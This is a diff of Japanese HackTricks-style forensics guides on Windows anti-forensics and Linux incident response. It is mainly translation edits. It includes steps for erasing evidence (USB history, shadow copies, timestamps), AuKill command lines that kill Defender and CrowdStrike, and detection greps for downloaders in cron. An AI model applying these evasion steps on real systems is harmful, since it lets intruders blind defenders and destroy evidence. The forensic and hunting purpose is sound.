@ -4,13 +4,15 @@
## イメージの作成とマウント
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## マルウェア分析
これは**イメージを取得した後に最初に行うべきステップではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、このマルウェア分析技術を独立して使用できますので、これらのアクションを**念頭に置いておくことが重要です**
これは**イメージを取得した後に最初に行うべきステップではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、このマルウェア分析技術を独立して使用できますので、**これらのアクションを念頭に置いておくことが重要です**。
{{#ref}}
malware-analysis.md
@ -18,22 +20,26 @@ malware-analysis.md
## イメージの検査
デバイスの**フォレンジックイメージ**が提供された場合、**パーティションやファイルシステム**を**分析**し、潜在的に**興味深いファイル**(削除されたものも含む)を**回復**し始めることができます。方法を学ぶには:
デバイスの**フォレンジックイメージ**が与えられた場合、**パーティションやファイルシステム**を**分析し**、潜在的に**興味深いファイル**(削除されたものも含む)を**回復する**ことができます。方法を学ぶには以下を参照してください。
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
使用されるOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります
使用されるOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります。
{{#ref}}
windows-forensics/
{{#endref}}
{{#ref}}
linux-forensics.md
{{#endref}}
{{#ref}}
docker-forensics.md
{{#endref}}
@ -41,13 +47,15 @@ docker-forensics.md
## 特定のファイルタイプとソフトウェアの深い検査
非常に**疑わしい****ファイル**がある場合、**ファイルタイプとそれを作成したソフトウェア**に応じて、いくつかの**トリック**が役立つかもしれません。\
興味深いトリックを学ぶには、以下のページをお読みください:
興味深いトリックを学ぶには以下のページをお読みください。
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
特に言及したいページがあります:
特に言及したいページがあります。
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
@ -55,19 +63,22 @@ specific-software-file-type-tricks/browser-artifacts.md
## メモリダンプの検査
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Pcapの検査
{{#ref}}
pcap-inspection/
{{#endref}}
## **アンチフォレンジック技術**
アンチフォレンジック技術の使用の可能性を念頭に置いてください:
アンチフォレンジック技術の使用の可能性を念頭に置いてください。
{{#ref}}
anti-forensic-techniques.md
@ -75,6 +86,7 @@ anti-forensic-techniques.md
## 脅威ハンティング
{{#ref}}
file-integrity-monitoring.md
{{#endref}}

View File

@ -4,7 +4,7 @@
## タイムスタンプ
攻撃者は**ファイルのタイムスタンプを変更すること**に興味を持つかもしれません。\
攻撃者は**ファイルのタイムスタンプを変更すること**に興味を持つかもしれません。\
タイムスタンプは、MFT内の属性`$STANDARD_INFORMATION` \_\_ と \_\_ `$FILE_NAME`に見つけることができます。
両方の属性には4つのタイムスタンプがあります: **変更**, **アクセス**, **作成**, および **MFTレジストリ変更** (MACEまたはMACB)。
@ -13,7 +13,7 @@
### TimeStomp - アンチフォレンジックツール
このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい** **活動を特定することが可能です**
このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい** **活動を特定することが可能です**
### Usnjrnl
@ -25,7 +25,7 @@
### $LogFile
**ファイルシステムへのすべてのメタデータ変更は、**[write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging)として知られるプロセスでログに記録されます。ログに記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)のようなツールを使用して、このファイルを解析し、変更を特定できます。
**ファイルシステムへのすべてのメタデータ変更は**、[書き込み先行ログ](https://en.wikipedia.org/wiki/Write-ahead_logging)として知られるプロセスで記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)のようなツールを使用して、このファイルを解析し、変更を特定できます。
![](<../../images/image (137).png>)
@ -98,9 +98,9 @@ UserAssistを無効にするには、2つのステップが必要です
- 各々の値を1または3から0に変更するために修正を選択
- 再起動
### タイムスタンプの無効化 - 最終アクセス時
### タイムスタンプの無効化 - 最終アクセス時
NTFSボリュームからフォルダーが開かれるたびに、システムは各リストされたフォルダーの**タイムスタンプフィールドを更新するための時間を取ります**。これは、最終アクセス時と呼ばれます。NTFSボリュームが頻繁に使用される場合、これがパフォーマンスに影響を与える可能性があります。
NTFSボリュームからフォルダーが開かれるたびに、システムは各リストされたフォルダーの**タイムスタンプフィールドを更新するための時間を取ります**。これは、最終アクセス時と呼ばれます。NTFSボリュームが頻繁に使用される場合、これがパフォーマンスに影響を与える可能性があります。
1. レジストリエディタを開く (Regedit.exe)。
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。
@ -109,7 +109,7 @@ NTFSボリュームからフォルダーが開かれるたびに、システム
### USB履歴の削除
すべての**USBデバイスエントリ**は、PCまたはラップトップにUSBデバイスを接続するたびに作成されるサブキーを含む**USBSTOR**レジストリキーの下にWindowsレジストリに保存されます。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除することで**USB履歴を削除します。\
すべての**USBデバイスエントリ**は、PCまたはラップトップにUSBデバイスを接続するたびに作成されるサブキーを含む**USBSTOR**レジストリキーの下にWindowsレジストリに保存されます。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除することで**USB履歴を削除します。\
また、[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)ツールを使用して、削除したことを確認することもできます(および削除するために)。
USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。
@ -125,9 +125,9 @@ GUIを介して削除することも可能で、[https://www.ubackup.com/windows
1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。
2. リストから「Volume Shadow Copy」を見つけて選択し、右クリックしてプロパティにアクセスします。
3. 「スタートアップの種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックして確認します。
3. 「スタートアップの種類」ドロップダウンメニューから「無効」を選択し、変更を確認するために「適用」と「OK」をクリックします。
シャドウコピーでコピーされるファイルの構成を変更することも可能で、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`行います。
シャドウコピーでコピーされるファイルの構成を変更することも可能で、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`設定できます。
### 削除されたファイルの上書き
@ -203,14 +203,14 @@ AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike
```
ドライバーはその後削除され、最小限のアーティファクトが残ります。
緩和策Microsoftの脆弱なドライバーブロックリストHVCI/SACを有効にし、ユーザーが書き込み可能なパスからのカーネルサービスの作成警告します。
緩和策Microsoftの脆弱なドライバーブロックリストHVCI/SACを有効にし、ユーザーが書き込み可能なパスからのカーネルサービスの作成警告します。
---
## Linuxアンチフォレンジックス自己パッチとクラウドC220232025
### 検出を減らすために妥協されたサービスを自己パッチするLinux
敵対者は、再利用を防ぎ、脆弱性に基づく検出を抑制するために、サービスを悪用した直後に「自己パッチ」を行うことが増えています。アイデアは、脆弱なコンポーネントを最新の正当なアップストリームバイナリ/JARに置き換えることで、スキャナーがホストをパッチ済みとして報告し、持続性とC2を維持することです。
敵対者は、再利用を防ぎ、脆弱性に基づく検出を抑制するために、サービスを悪用した直後に「自己パッチ」を行うことが増えています。アイデアは、脆弱なコンポーネントを最新の正当なアップストリームバイナリ/JARに置き換えることで、スキャナーがホストをパッチ済みとして報告しつつ、持続性とC2を維持することです。
Apache ActiveMQ OpenWire RCECVE202346604
- ポストエクスプロイト後、攻撃者はMaven Centralrepo1.maven.orgから正当なJARを取得し、ActiveMQインストール内の脆弱なJARを削除し、ブローカーを再起動しました。
@ -240,18 +240,18 @@ Forensic/hunting tips
- RHEL/CentOS: `rpm -Va 'activemq*'`
- パッケージマネージャーに所有されていないディスク上のJARバージョンや、バンド外で更新されたシンボリックリンクを探します。
- タイムライン: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` を使用して、ctime/mtimeを侵害ウィンドウと相関させます。
- シェル履歴/プロセステレメトリ: 初期の悪用直後に `curl`/`wget` `repo1.maven.org` や他のアーティファクトCDNに対しての証拠。
- 変更管理: “パッチ”を適用したのは誰で、なぜ適用されたのかを検証し、パッチが存在するだけでは不十分です。
- シェル履歴/プロセステレメトリ: 初期の悪用直後に `curl`/`wget` `repo1.maven.org` または他のアーティファクトCDNに対して使用した証拠。
- 変更管理: “パッチ”を適用したのは誰で、なぜ適用されたのかを検証し、パッチバージョンが存在するだけでは不十分です。
### Cloudservice C2 with bearer tokens and antianalysis stagers
観察されたトレードクラフトは、複数の長距離C2パスとアンチ分析パッケージングを組み合わせていました
- サンドボックス化や静的分析を妨げるためのパスワード保護されたPyInstaller ELFローダー暗号化されたPYZ、`/_MEI*`の下での一時的な抽出)。
- インジケーター: `strings` ヒットの例として `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`
- ランタイムアーティファクト: `/tmp/_MEI*` への抽出またはカスタム `--runtime-tmpdir` パス。
- ハードコーディングされたOAuthベアラートークンを使用したDropboxバックアップC2
- ハードコーディングされたOAuthベアラートークンを使用したDropboxバックアップC2
- ネットワークマーカー: `api.dropboxapi.com` / `content.dropboxapi.com``Authorization: Bearer <token>`
- 通常ファイルを同期しないサーバーワークロードからDropboxドメインへのアウトバウンドHTTPSを探すために、プロキシ/NetFlow/Zeek/Suricataでハントします。
- トンネリングを介した並行/バックアップC2Cloudflare Tunnel `cloudflared`、1つのチャネルがブロックされた場合でも制御を持します。
- トンネリングを介した並行/バックアップC2Cloudflare Tunnel `cloudflared`、1つのチャネルがブロックされた場合でも制御を持します。
- ホストIOC: `cloudflared` プロセス/ユニット、`~/.cloudflared/*.json` の設定、Cloudflareエッジへのアウトバウンド443。
### Persistence and “hardening rollback” to maintain access (Linux examples)
@ -272,7 +272,7 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
```bash
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
```
- クラウドC2にも接続するランダムで短い名前のビーコンアーティファクト8文字のアルファベットをディスクにドロップ
- クラウドC2にも接続するランダムで短い名前のビーコンアーティファクト8文字のアルファベットをディスクにドロップします
- ハント:
```bash
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \

View File

@ -6,7 +6,7 @@
### 基本情報
まず最初に、**良く知られたバイナリとライブラリが入った** **USB** を用意することをお勧めしますubuntuを取得し、フォルダ _/bin_, _/sbin_, _/lib,_ _/lib64_ をコピーするだけで済みます。次に、USBをマウントし、これらのバイナリを使用するように環境変数を変更します
まず最初に、**良く知られたバイナリとライブラリが入った** **USB** を用意することをお勧めしますubuntuを取得し、フォルダ _/bin_, _/sbin_, _/lib,_ および _/lib64_ をコピーするだけで済みます。次に、USBをマウントし、これらのバイナリを使用するように環境変数を変更します
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -54,7 +54,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiMEは3つの**フォーマット**をサポートしています:
- Rawすべてのセグメントが連結されたもの
- Paddedrawと同じですが、右側のビットにゼロが追加されています
- PaddedRawと同じですが、右側のビットにゼロが追加されています
- Limeメタデータ付きの推奨フォーマット
LiMEは、システムに保存する代わりに**ネットワーク経由でダンプを送信する**ためにも使用できます。例えば:`path=tcp:4444`
@ -64,11 +64,11 @@ LiMEは、システムに保存する代わりに**ネットワーク経由で
#### シャットダウン
まず最初に、**システムをシャットダウンする**必要があります。これは常に選択肢ではなく、時にはシステムが会社がシャットダウンできないプロダクションサーバーであることがあります。\
システムをシャットダウンする方法は**2つ**あり、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了する**ことを許可し、**ファイルシステム**が**同期される**ことを可能にしますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまり多くありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と**疑う**場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。
システムをシャットダウンする方法は**2つ**あり、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了する**ことを許可し、**ファイルシステム**が**同期される**ことを可能にしますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまり多くありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と疑う場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。
#### ディスクのイメージを取得する
**ケースに関連する何かにコンピュータを接続する前に**、それが**読み取り専用としてマウントされる**ことを確認することが重要です。情報を変更しないようにするためです。
**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用でマウントされる**ことを確認することが重要です。
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -153,10 +153,10 @@ malware-analysis.md
DebianおよびRedHatシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを併用することを検討してください。
- Debianの場合、_**`/var/lib/dpkg/status`**_および_**`/var/log/dpkg.log`**_を確認してパッケージインストールに関する詳細を取得し、`grep`を使用して特定の情報をフィルタリングします。
- Debianの場合、_**`/var/lib/dpkg/status`**_および_**`/var/log/dpkg.log`**_を調査してパッケージインストールに関する詳細を取得し、`grep`を使用して特定の情報をフィルタリングします。
- RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してインストールされたパッケージのリストを取得できます。
これらのパッケージマネージャーの外部で手動でインストールされたソフトウェアを明らかにするために、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、および_**`/sbin`**_のようなディレクトリを探索します。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、インストールされたすべてのプログラムの検索を強化します。
これらのパッケージマネージャーの外部で手動でインストールされたソフトウェアを明らかにするために、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、および_**`/sbin`**_のようなディレクトリを探索してください。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、インストールされたすべてのプログラムの検索を強化します。
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -197,7 +197,7 @@ cat /var/spool/cron/crontabs/* \
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
#### Hunt: Cron/Anacronの悪用と0anacronおよび疑わしいスタブ
攻撃者は、定期的な実行を確実にするために、各/etc/cron.*/ディレクトリに存在する0anacronスタブを編集することがよくあります。
攻撃者は、定期的な実行を確するために、各/etc/cron.*/ディレクトリに存在する0anacronスタブを編集することがよくあります。
```bash
# List 0anacron files and their timestamps/sizes
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
@ -205,7 +205,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
# Look for obvious execution of shells or downloaders embedded in cron stubs
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
```
#### Hunt: SSHハードニングのロールバックとバックドアシェル
#### Hunt: SSHの強化のロールバックとバックドアシェル
sshd_configやシステムアカウントシェルの変更は、アクセスを保持するための一般的なポストエクスプロイトです。
```bash
# Root login enablement (flag "yes" or lax values)
@ -217,7 +217,7 @@ awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|
#### Hunt: Cloud C2 markers (Dropbox/Cloudflare Tunnel)
- Dropbox APIビーコンは通常、HTTPS経由でapi.dropboxapi.comまたはcontent.dropboxapi.comを使用し、Authorization: Bearerトークンを使用します。
- サーバーからの予期しないDropboxの出口を探すために、proxy/Zeek/NetFlowでハントします。
- Cloudflare Tunnel (`cloudflared`)は、アウトバウンド443経由でバックアップC2を提供します。
- Cloudflare Tunnel`cloudflared`は、アウトバウンド443経由でバックアップC2を提供します。
```bash
ps aux | grep -E '[c]loudflared|trycloudflare'
systemctl list-units | grep -i cloudflared
@ -226,14 +226,14 @@ systemctl list-units | grep -i cloudflared
マルウェアがサービスとしてインストールされる可能性のあるパス:
- **/etc/inittab**: rc.sysinitのような初期化スクリプトを呼び出し、さらにスタートアップスクリプトに指示します。
- **/etc/rc.d/** と **/etc/rc.boot/**: サービスのスタートアップ用スクリプトを含み、後者は古いLinuxバージョンで見られます。
- **/etc/init.d/**: Debianのような特定のLinuxバージョンでスタートアップスクリプトを保存するために使用されます。
- **/etc/inittab**: rc.sysinitのような初期化スクリプトを呼び出し、さらに起動スクリプトに指示します。
- **/etc/rc.d/** と **/etc/rc.boot/**: サービス起動用のスクリプトを含み、後者は古いLinuxバージョンで見られます。
- **/etc/init.d/**: Debianのような特定のLinuxバージョンで起動スクリプトを保存するために使用されます。
- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介しても有効化されることがあります。
- **/etc/systemd/system**: システムおよびサービスマネージャースクリプト用のディレクトリ。
- **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーランレベルで起動すべきサービスへのリンクを含みます。
- **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。
- **\~/.config/autostart/**: ユーザー固有の自動スタートアプリケーション用で、ユーザーをターゲットにしたマルウェアの隠れ場所になる可能性があります。
- **\~/.config/autostart/**: ユーザー固有の自動起動アプリケーション用で、ユーザーをターゲットにしたマルウェアの隠れ場所になる可能性があります。
- **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
### カーネルモジュール
@ -254,11 +254,11 @@ Linuxは、ユーザーログイン時にプログラムを自動的に実行す
## ログの調査
Linuxシステムは、ユーザーの活動やシステムイベントをさまざまなログファイルを通じて追跡します。これらのログは、不正アクセス、マルウェア感染、その他のセキュリティインシデントを特定するために重要です。主なログファイルは以下の通りです:
Linuxシステムは、さまざまなログファイルを通じてユーザーの活動やシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、その他のセキュリティインシデントを特定するために重要です。主要なログファイルには以下が含まれます:
- **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージ活動をキャプチャします。
- **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログインおよび失敗したログインを記録します。
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
- **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージ活動をキャプチャします。
- **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログイン失敗したログインを記録します。
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
- **/var/log/boot.log**: システム起動メッセージを含みます。
- **/var/log/maillog** または **/var/log/mail.log**: メールサーバーの活動をログに記録し、メール関連サービスの追跡に役立ちます。
- **/var/log/kern.log**: カーネルメッセージを保存し、エラーや警告を含みます。
@ -273,7 +273,7 @@ Linuxシステムは、ユーザーの活動やシステムイベントをさま
- **/var/log/**: ここで予期しないログを常に確認してください。
> [!TIP]
> Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候を示すギャップや順序が乱れたエントリを探すことが重要です。
> Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが多いため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。
**Linuxは各ユーザーのコマンド履歴を保持します**。これは以下に保存されます:
@ -287,28 +287,28 @@ Linuxシステムは、ユーザーの活動やシステムイベントをさま
追加の権限を付与できるファイルを確認してください:
- `/etc/sudoers` を確認して、予期しないユーザー権限が付与されていないか確認します。
- `/etc/sudoers.d/`確認して、予期しないユーザー権限が付与されていないか確認します。
- `/etc/groups` を調べて、異常なグループメンバーシップや権限を特定します。
- `/etc/passwd` を調べて、異常なグループメンバーシップや権限を特定します。
- 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers`確認します。
- 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します。
- 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します。
- 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します。
一部のアプリも独自のログを生成します:
- **SSH**: _\~/.ssh/authorized_keys_ と _\~/.ssh/known_hosts_ を調べて、不正なリモート接続を確認します。
- **SSH**: 不正なリモート接続のために _\~/.ssh/authorized_keys_ と _\~/.ssh/known_hosts_ を調します。
- **Gnomeデスクトップ**: Gnomeアプリケーションを介して最近アクセスされたファイルのために _\~/.recently-used.xbel_ を確認します。
- **Firefox/Chrome**: _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認し、疑わしい活動を探します。
- **Firefox/Chrome**: 疑わしい活動のために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認します。
- **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細のために _\~/.viminfo_ を確認します。
- **Open Office**: 侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認します。
- **FTP/SFTP**: 不正なファイル転送がないか _\~/.ftp_history_ または _\~/.sftp_history_ のログを確認します。
- **MySQL**: 実行されたMySQLクエリを調査するために _\~/.mysql_history_ を調、不正なデータベース活動を明らかにします。
- **Less**: 使用履歴を分析するために _\~/.lesshst_ を確認し、表示されたファイルや実行されたコマンドを含みます。
- **Git**: リポジトリの変更を確認するために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を調べます。
- **Open Office**: 侵害されたファイルを示す可能性のある最近の文書アクセスを確認します。
- **FTP/SFTP**: 不正なファイル転送の可能性があるため、_ \~/.ftp_history_ または _\~/.sftp_history_ のログを確認します。
- **MySQL**: 実行されたMySQLクエリを調査するために _\~/.mysql_history_ を調査し、不正なデータベース活動を明らかにします。
- **Less**: 表示されたファイルや実行されたコマンドを含む使用履歴のために _\~/.lesshst_ を分析します。
- **Git**: リポジトリの変更のために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を調査します。
### USBログ
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxのログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために書かれた小さなソフトウェアです。
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxのログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。
使用されたすべてのUSBを**知ることは興味深い**ことであり、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
使用されたすべてのUSBを知ることは興味深く、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
### インストール
```bash
@ -327,7 +327,7 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip]
## ユーザーアカウントとログオン活動のレビュー
_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、知られている不正なイベントに近い位置で作成または使用された異常な名前やアカウントを探します。また、sudoのブルートフォース攻撃の可能性も確認してください。\
_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、知られている不正なイベントに近い位置で作成または使用された異常な名前やアカウントを探します。また、可能なsudoブルートフォース攻撃を確認してください。\
さらに、_**/etc/sudoers**_や_**/etc/groups**_のようなファイルをチェックして、ユーザーに与えられた予期しない特権を確認します。\
最後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します。
@ -335,18 +335,18 @@ _**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を
### マルウェア調査におけるファイルシステム構造の分析
マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを避けたりするなど、この分析を妨げる技術を開発しています。
マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。
これらのアンチフォレンジック手法に対抗するためには、以下が重要です:
- **Autopsy**のようなツールを使用してイベントのタイムラインを視覚化するために、徹底的なタイムライン分析を行うこと、または**Sleuth Kit**の`mactime`を使用して詳細なタイムラインデータを取得します。
- 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の予期しないスクリプトを調査します。
- **/dev**内の異常なファイルを調べます。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。
- **.. **(ドットドットスペース)や**..^G**(ドットドットコントロール-Gなどの名前を持つ隠しファイルやディレクトリを検索し、悪意のあるコンテンツが隠されている可能性があります。
- コマンドを使用してsetuid rootファイルを特定します`find / -user root -perm -04000 -print` これは、攻撃者によって悪用される可能性のある昇格された権限を持つファイルを見つけます。
- inodeテーブルの削除タイムスタンプをレビューして、大量のファイル削除を特定し、ルートキットやトロイの木馬の存在を示す可能性があります。
- 1つの悪意のあるファイルを特定した後、近く悪意のあるファイルのために連続したinodeを検査します。これらは一緒に配置されている可能性があります。
- 最近変更されたファイルがマルウェアによって変更される可能性があるため、一般的なバイナリディレクトリ_/bin_、_/sbin_を確認します。
- 通常は特別なファイルを含む`/dev`を調べますが、マルウェア関連のファイルが存在する可能性があります。
- 悪意のあるコンテンツを隠す可能性のある、名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)の隠しファイルやディレクトリを検索します。
- 攻撃者によって悪用される可能性のある、昇格された権限を持つファイルを見つけるために、次のコマンドを使用してsetuid rootファイルを特定します`find / -user root -perm -04000 -print`
- ルートキットやトロイの木馬の存在を示す可能性のある、大量のファイル削除を示すためにinodeテーブルの削除タイムスタンプをレビューします。
- 1つの悪意のあるファイルを特定した後、近くにある悪意のあるファイルのために連続したinodeを検査します。これらは一緒に配置されている可能性があります。
- マルウェアによって変更される可能性があるため、最近変更されたファイルのために一般的なバイナリディレクトリ_/bin_、_/sbin_を確認します。
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -355,7 +355,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
> [!TIP]
> 注意してください、**攻撃者**は**時間**を**変更**して**ファイルを正当なものに見せる**ことができますが、**inode**を**変更**することはできません。同じフォルダ内の他のファイルと**同時に**作成および変更されたことを示す**ファイル**があり、しかし**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプが変更された**ことになります。
> 注意してください、**攻撃者**は**時間**を**変更**して**ファイルを正当なものに見せる**ことができますが、**inode**を**変更**することはできません。もし**ファイル**が同じフォルダ内の他のファイルと**同時に**作成および変更されたことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプが変更された**ことになります。
## 異なるファイルシステムバージョンの比較
@ -367,7 +367,7 @@ ls -lai /bin | sort -n```
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **変更された内容**、特定の行を無視し変更をリストします:
- **変更された内容**、特定の行を無視しながら変更をリストします:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
@ -391,8 +391,8 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
- **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド**
- **書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
